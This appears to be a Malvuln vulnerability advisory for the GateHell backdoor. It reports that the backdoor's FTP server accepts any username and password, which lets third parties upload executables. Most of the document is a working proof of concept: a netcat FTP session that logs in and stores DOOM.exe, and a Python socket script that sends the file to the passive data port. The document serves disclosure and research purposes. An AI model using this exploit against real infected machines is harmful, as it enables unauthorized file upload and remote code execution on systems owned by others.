Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/5aa81ddc996be64116754efac0e4f55d.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Threat: Backdoor.Win32.GateHell.21
Vulnerability: Authentication Bypass
Description: The malware runs an FTP server on TCP ports 5301,5432,5300,5299,5298,5297,5296 and 5295. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.
Family: GateHell
Type: PE32
MD5: 5aa81ddc996be64116754efac0e4f55d
Vuln ID: MVID-2022-0559
Disclosure: 04/18/2022
Exploit/PoC:
C:\>nc64.exe 192.168.18.125 5301
220 ICS FTP Server ready.
USER malvuln
331 Password required for malvuln.
PASS malvuln
230 User malvuln logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
CDUP
250 CWD command successful. "C:/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,125,195,126).
STOR DOOM.exe
150 Opening data connection for DOOM.exe.
226 File received ok
from socket import *
MALWARE_HOST="192.168.18.125"
PORT=50046
DOOM="DOOM.exe"
def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)
while EXE:
s.send(EXE)
EXE=f.read()
s.close()
print("By Malvuln");
if __name__=="__main__":
doit()
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